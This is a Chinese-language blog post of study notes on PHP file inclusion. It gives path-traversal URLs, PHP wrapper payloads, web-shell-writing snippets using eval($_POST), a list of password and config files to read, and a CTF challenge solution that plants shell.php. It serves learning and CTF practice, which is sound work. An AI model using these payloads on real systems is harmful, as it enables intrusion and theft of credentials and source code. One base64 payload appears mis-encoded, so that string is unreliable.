File Include

文件包含漏洞

Posted by Kyon-H on June 19, 2025

1. 文件包含伪协议

1.1.1. 直接包含

1
2
http://pikachu.to/vul/dir/dir_list.php?title=../../../../../../../\windows\system32\drivers\etc\hosts
http://pikachu.to/vul/dir/dir_list.php?title=../../../../../../windows/system32/drivers/etc/hosts

1.1.2. file://

用于读取本地文件,必须使用绝对路径,php项目读取php文件时会执行其中代码,导致无法读取到源码。

1
2
3
file:///etc/passwd
file://C:\Windows\System32\drivers\etc\hosts
file:///windows/system32/drivers/etc/hosts

1.1.3. php://filter

读取指定资源,可以是本地也可以是远程资源,可指定编码类型对内容编码,在读取php文件时可防止其运行,从而读取源码。

1
2
3
4
5
6
7
8
php://filter/ {operation}={filter_chain}/resource={source}
php://filter/read=convert.base64-encode/resource=http://www.baidu.com
php://filter/convert.base64-encode/resource=http://www.baidu.com
php://filter/resource=http://www.baidu.com
php://filter/resource=../index.php

operation: read write
filter-chain: convert.base64-encode convert.base64-decode

1.1.4. php://input

用于读取原始的 POST 请求数据

1
2
3
4
5
php://input

POST数据:
<?php eval($_POST['cmd']);?>
<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["cmd"]);?>');?>

1.1.5. data://

用于在 URL 中嵌入小块数据

1
2
3
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
data://a/b,<?php phpinfo();?>
https://7cdbe539-f220-4021-ac93-fd10996d0f13.challenge.ctf.show

1.1.6. zlib://

1
compress.zlib://shell.php.gz

2. 敏感文件

1
2
3
4
5
6
7
8
9
/etc/shadow(存放密码)
/etc/gshadow(存放密码)
/etc/profile(系统环境)
/etc/group(组的数据库文件)
/etc/my.conf(MYSQL配置信息)
/usr/etc/php.ini(PHP配置信息)
/etc/crontab(crontab配置文件)
/etc/passwd(系统用户数据库文件)
/etc/httpd/conf/httpd.conf(Apache配置信息)

3. 文件包含绕过

  1. %00截断
1
?filename=file:///var/log/httpd/access_log%00
  1. %23 %00 截断
  2. session文件包含 session文件保存位置:/var/lib/php/session,文件名 sess_phpsessid

image.png image.png

4. CTF 实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

  • 禁止”php”不能用 <?php 可用加密
  • 禁止”-“不能用 php://filter/read=convert.base64-encode

4.1.1. 方法一

使用data://a/b;base64,<base64 code>构造不含”+”的base64编码

PS. base64末尾等号可直接删除,不影响解码

1
2
3
4
5
<?php
fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>');
?>#1
# base64:
# PD9waHAKZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgcGhwaW5mbygpOyA/PicpOwo/PiMx
1
2
3
4
5
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST["code"]);?>');
?>#
# base64:
# PD9waHAKZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbHGNvZGUdXSk7Pz4nKTsKPz4j

image.png

4.1.2. 方法二

1
2
<?php system("ls"); ?>
<?php system("cat fl0g.php"); ?>